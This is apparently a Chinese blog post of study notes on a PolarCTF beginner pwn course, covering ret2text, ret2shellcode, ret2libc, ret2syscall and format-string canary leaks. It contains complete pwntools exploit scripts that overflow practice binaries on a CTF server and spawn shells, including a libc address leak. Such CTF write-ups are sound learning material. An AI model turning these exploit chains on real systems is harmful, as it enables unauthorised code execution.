PolarCTF入门Pwn系列讲座笔记

这个是我在B站上找到的比较新而且讲的很清晰的入门课了,对于可以让小白系统地入门Pwn,真心推荐,原视频点击这里

关于linux版本的话我用的是ubantu22.04LTS,听说Pwn环境最好是ubantu,而像web的话用的则是kali

ret2text

前置知识

查看文件ROPgadget的命令:
ROPgadget --binary 文件 --only "rdi|ret"
之后看到"pop rdi;ret"的那一行,就是rdi寄存器的地址

例题

小狗汪汪汪

解题过程

assets/PolarCTF入门Pwn系列讲座笔记/file-20250701190734405.png
开了堆栈不可执行,三十二位程序

from pwn import *

#io = process("./woof")
io = remote("1.95.36.136",2055)

padding = 0x9 + 4
getshell_addr = 0x0804859b

payload = b"a" * padding + p32(getshell_addr)

io.sendline(payload)
io.interactive()

总结

这类题属于有后门函数,且后门函数可以直接提权的情况

x64

解题过程

assets/PolarCTF入门Pwn系列讲座笔记/file-20250701193043891.png
六十四位程序

from pwn import *

#io = process("./x64")
io = remote("1.95.36.136",2067)

padding = 0x80 + 8
system_addr = 0x00400560
bin_sh_addr = 0x00601060
rdi_addr = 0x00000000004007e3

payload = b"a"*padding + p64(rdi_addr) + p64(bin_sh_addr) + p64(system_addr)

io.sendline(payload)
io.interactive()

总结

六十四位程序要先往寄存器上进行传参,之后再执行函数

ret2shellcode

bss段上的shellcode

前置知识

可以先向bss段中输入shellcode
bss段是一个进程的内存空间中专门用于存放未初始化的全局变量和静态变量的区域

例题

Easy_Shellcode

EXP示例

from pwn import *  
#io = process("./Easy_ShellCode")  
io = remote("1.95.36.136",2125)  
  
padding = 0x68 + 4  
bss_addr = 0x0804A080  
shellcode = asm(shellcraft.sh())  
#如果是六十四位程序则是
io.recvuntil("Please Input:\n")  
io.sendline(shellcode)  
  
payload = b"a" * padding + p32(bss_addr)  
  
io.recvuntil("What,s your name ?:")  
io.sendline(payload)  
  
io.interactive()

栈上的shellcode

前提条件

没有开启canary stack防执行保护

例题

getshell

checksec后知道为六十四位程序
丢进ida
assets/PolarCTF入门Pwn系列讲座笔记/file-20250623151658013.png
简单审计一下,%p用于给指针类型的变量占位,%p会将v4的地址输出,可以用recvline函数将其接收
看到gets函数拿的是v4变量,在上面可以看到v4相对于rbp的偏移量是0x70

所以简单确定一下思路,先向v4输入一个shellcode,剩下的再用垃圾数据覆盖,直到rbp覆盖完,之后将原本的返回地址换成刚才输入的shellcode地址,也就是v4的地址,就可以获得shell权限了

EXP

from pwn import *
io = process("./pwn2") 
context(arch="amd64")
#默认是三十二位程序环境,所以要设置成"amd64"

padding = 0x70 + 8
v4_addr = int(io.recvline()[:-1],16)
#这里将v4的地址接收后用[:-1]来切掉最后的\n换行符,16是指按照十六进制进行解析,将其转换为整数类型,方便后面用p64转换成字节小端序
shellcode = asm(shellcraft.amd64.sh())

payload = shellcode.ljust(padding,"a") + v4_addr
#ljust则可以在保持总padding长度不变的情况下,将shellcode覆盖掉padding左侧等同于shellcode大小的长度
#rjust则是覆盖掉右边

io.sendline(payload)
io.interactive()

ret2libc

前置知识

assets/PolarCTF入门Pwn系列讲座笔记/file-20250623160643129.png
assets/PolarCTF入门Pwn系列讲座笔记/file-20250623161258886.png
assets/PolarCTF入门Pwn系列讲座笔记/file-20250623161238263.png
PLT表是过程链接表,GOT表是全局偏移表
GOT表中存储的是函数的真实地址

调用流程详解

1.首次调用函数(如puts)
执行puts@PLT中的跳转指令
跳转到GOT表中puts对应的条目地址(此时指向动态链接器)
动态链接器从libc内存映射去查找puts的真实地址
将地址回填到GOT表中的puts的条目

2.再次调用函数
执行puts@PLT跳转
直接跳转到GOT表中存储的libc函数地址
执行libc中的puts机器码

例题

例题:polar靶场——Game

解题过程

先上两件套file和checksec
assets/PolarCTF入门Pwn系列讲座笔记/file-20250623162829926.png
三十二位小端序,dynamically linked意味着就是动态链接的
开启的NX保护说明我们哪怕注入了shellcode也无法执行
用IDA打开assets/PolarCTF入门Pwn系列讲座笔记/file-20250624182657055.png
可以看到并没有什么后门函数,只能选择通过libc来查找到system和/bin/sh的地址,最终进行执行

assets/PolarCTF入门Pwn系列讲座笔记/file-20250624182413857.png
分析一下,要求得read输入的buf变量值为b才会进入function函数中,看一下b是什么
assets/PolarCTF入门Pwn系列讲座笔记/file-20250624182536336.png
b是yes
再跟进一下function函数
assets/PolarCTF入门Pwn系列讲座笔记/file-20250624182835263.png
条件和第一个相同,也要求输入为yes
再跟进一下star函数
assets/PolarCTF入门Pwn系列讲座笔记/file-20250624182926336.png
出现了我们想要的gets函数
可以看到s变量到ebp的长度为0x6C
所以到时候要覆盖的长度为0x6C+4(三十二位程序)
打开ubantu,在python环境下运行以下代码
assets/PolarCTF入门Pwn系列讲座笔记/file-20250624183942769.png
这样puts_plt和puts_got分别就是plt表和got表的地址
此时这两个变量都还是十进制整数形式的地址,可以转成十六进制的康康
assets/PolarCTF入门Pwn系列讲座笔记/file-20250624184205474.png
一个黄金法则:
在三十二位程序中,函数调用栈帧 = 目标地址 + 返回地址 + 参数
在六十四位程序中,函数调用栈帧 = 寄存器地址 + 参数地址 + 函数地址 + 返回地址

ldd 本地二进制文件,可以知道该二进制文件所使用的libc在系统中的路径

以下EXP,是在ubantu中打开python环境进行的!
#后面的内容是另外加的批注

>>> from pwn import *
>>> io = process("./Game")
[x] Starting local process './Game'
[+] Starting local process './Game': pid 1198
>>> elf = ELF("./Game")
[*] '/home/liuyun/Pwn/Game'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
>>> puts_plt = elf.plt["puts"]
>>> puts_got = elf.got["puts"]
>>> padding = 0x6C + 4
>>> star_addr = 0x080485F4
>>> payload = b"a" * padding + p32(puts_plt) + p32(star_addr) + p32(puts_got)
>>> #这里的puts_plt已经可以当做是puts函数用了,打印出puts真实地址,也就是puts_got
>>> io.sendlineafter(b"Do you play game?\n",b"yes")
b'Do you play game?\n'
>>> io.sendlineafter(b"Do you think playing games will affect your learning?\n",b"yes")
b'Do you think playing games will affect your learning?\n'
>>> io.sendlineafter(b"same as you!\n",payload)
b'I think the same as you!\n'
>>> a = io.recvline()
>>> #接收的这一行是原本函数中对第一次接受的内容的返回,也就是我们用来溢出的点
>>> print(a)
b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaap\x84\x04\x08\xf4\x85\x04\x08 \xa0\x04\x08\n'
>>> puts_real = u32(io.recvline()[:4])
>>> #只拿前面四字节内容,也就是打印出来的puts函数的真实地址
>>> print(puts_real)
4158014112
>>> print(hex(puts_real))
0xf7d642a0
>>> #下面这个libc文件就是通过”ldd 二进制文件“的方法获得的路径
>>> libc = ELF("/lib/i386-linux-gnu/libc.so.6")
[*] '/lib/i386-linux-gnu/libc.so.6'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
>>> libc_base = puts_real - libc.symbols["puts"]
>>> system_addr = libc_base + libc.symbols["system"]
>>> bin_sh_addr = libc_base + next(libc.search(b"/bin/sh"))
>>> #/bin/sh是字符串,所以得用libc的search功能进行查找,但是很可能不止在一个地址,所以使用next函数只取第一个路径
>>> payload = b"a" * padding + p32(system_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)
>>> io.sendline(payload)
>>> io.interactive()
[*] Switching to interactive mode
I think the same as you!
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaap���ᆳ�����
ls
Game  Game.py  Game:Zone.Identifier

总结

前后必须得有两次payload才能拿到shell,第一次主要是为了得到puts函数的真实地址,从而计算得到libc的基地址,进而引申出system和/bin/sh的真实地址,最后再getshell

例题:polar靶场——sleep

前置知识

关于动静态调试的问题

静态分析(如IDA)中的偏移量只能用作是参考,而动态调试确定的偏移才是真实可靠的
因为IDA显示出来的代码的偏移只是在源代码层面逻辑的偏移,实际上根据编译器的不同,可能会进行栈对齐,所以最后的偏移和IDA显示出来的会有所不同

关于动态调试的偏移判断方法(以这道题为例)

注意:gdb的很多命令都是可以直接简写的,如下面的给main函数下断点break main可以简写为b main,run可以简写为r,也就是一般取首字母即可

先生成200个垃圾字符(一般够用了),复制下来待会用
assets/PolarCTF入门Pwn系列讲座笔记/file-20250702194359271.png
命令:gdb 二进制文件
给main函数下断点,运行到main函数为止
命令:break main
然后下面就运行就行了
命令:run
之后用next一直过就行了
命令:next
直到第一次输入
再把得到的垃圾字符填进去
assets/PolarCTF入门Pwn系列讲座笔记/file-20250702194712701.png
之后往上翻,找到rbp
assets/PolarCTF入门Pwn系列讲座笔记/file-20250702195052775.png
可以看到被完全覆盖了,取后四个字节0x62616164
assets/PolarCTF入门Pwn系列讲座笔记/file-20250702195833474.png
用cyclic -l 0x62616164 -n 8找出偏移量
下面这个112即是实际偏移量

下面讲一下为什么这个命令可以找到偏移量

  1. 模式生成原理

    • 使用字母表:a-z(26个字符)
    • 为每个位置分配唯一的组合
    • 例如 4 字节模式:
      • aaaa (偏移 0)
      • aaab (偏移 4)
      • aaac (偏移 8)
      • ...
      • daab (偏移 12)
  2. 数学计算过程

    • 将输入值 0x62616164 转为小端序:64 61 61 62
    • 转换为字符:d (0x64)a (0x61)a (0x61)b (0x62) → "daab"
    • 计算在字母表中的位置
      所以只要取最后四个字节,再去对照事先确定好的组合,就可以得知到底到了哪个部分发生了偏移
解题过程
from pwn import *

#io = process("./sleep")
io = remote("1.95.36.136",2116)
context(arch="amd64")

padding = 120
elf = ELF("./sleep")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
fun_addr = 0x4006BD
rdi_addr = 0x00400783
payload = b"a" * padding + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(fun_addr)

io.sendline(payload)
io.recvline()

puts_real = u64(io.recvline()[:-1].ljust(8,b"\x00"))
#print(hex(puts_real))
libc = ELF("./libc6_2.23-0ubuntu11.3_amd64.so")
libc_base = puts_real - libc.symbols["puts"]
system_addr = libc_base + libc.symbols["system"]
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh"))

payload1 = b"a"*padding + p64(rdi_addr) + p64(bin_sh_addr) + p64(system_addr) + p64(0xdeadbeef)
io.sendline(payload1)
io.interactive()

ret2syscall

前置知识

assets/PolarCTF入门Pwn系列讲座笔记/file-20250625105503399.png
assets/PolarCTF入门Pwn系列讲座笔记/file-20250625110312537.png
assets/PolarCTF入门Pwn系列讲座笔记/file-20250703103518099.png

例题:ret2syscall

偏移量的判断

  1. 打开gdb
  2. 给main下断点
  3. pattern create 200生成200个字符,复制下来
  4. c直接到输入部分
  5. 输入刚才复制的内容
  6. 输入pattern offset 溢出地址
  7. 就可以看到实际的偏移量了

解题过程

assets/PolarCTF入门Pwn系列讲座笔记/file-20250703103518099.png
其实exp的利用过程跟上面这几行汇编代码的过程大致相同

from pwn import *

io = process("./ret2syscall")

padding = 112
bin_sh_addr = 0x080be408
int_addr = 0x08049421
edx_ecx_ebx_ret_addr = 0x0806eb90
eax_ret_addr = 0x080bb196
payload = b"a"*padding + p32(eax_ret_addr) + p32(0xb) + p32(edx_ecx_ebx_ret_addr) + p32(0) + p32(0) + p32(bin_sh_addr) + p32(int_addr)
#0xb是execve函数的系统调用号
#int_addr则是触发软终端执行系统调用
io.sendline(payload)
io.interactive()

格式化字符串

前置知识

格式化字符串属于高阶的栈利用知识,分为栈上的和非栈上的

因为这道题作为格式化字符串漏洞利用的高阶用法,想要直接上手比较难,所以我去CSDN上找了另一篇文章,点击这里跳转
这上面针对于格式化字符串漏洞讲的就比较详细,相比之下,polar入门视频讲的就不是很详细
assets/PolarCTF入门Pwn系列讲座笔记/file-20250704101713970.png
图中的canary found即代表着打开了canary的保护

例题:polar靶场——格式化

assets/PolarCTF入门Pwn系列讲座笔记/file-20250704101010987.png
两次输入和输出,第一次的输入和输出用来泄露canary保护的值,第二次再利用所获得的canary的值进行真正的攻击
assets/PolarCTF入门Pwn系列讲座笔记/file-20250704102052837.png
反汇编main函数
assets/PolarCTF入门Pwn系列讲座笔记/file-20250704102223317.png
如图,在0x001007f3处程序进行了异或操作,之后的0x001007fc处则进行了跳转操作,这是程序在校验canary的值,而图中右上方的rbp-0x8即canary的位置

下面直接运行,遇到输入直接输入aaaa就行了,随便
之后就可以使用如下命令,用于解析rbp-0x8位置的值
assets/PolarCTF入门Pwn系列讲座笔记/file-20250704105121937.png
接下来就是要查看偏移了
assets/PolarCTF入门Pwn系列讲座笔记/file-20250704105713058.png
x/50xg $rsp中的50代表我们要查看50个单位内存,x代表要以十六进制的形式呈现,g则代表着内存单位是八字节

之后再查看栈空间,用下面这个命令
assets/PolarCTF入门Pwn系列讲座笔记/file-20250704110157987.png

posted @ 2025-07-02 17:34  _F1ow  阅读(156)  评论(0)    收藏  举报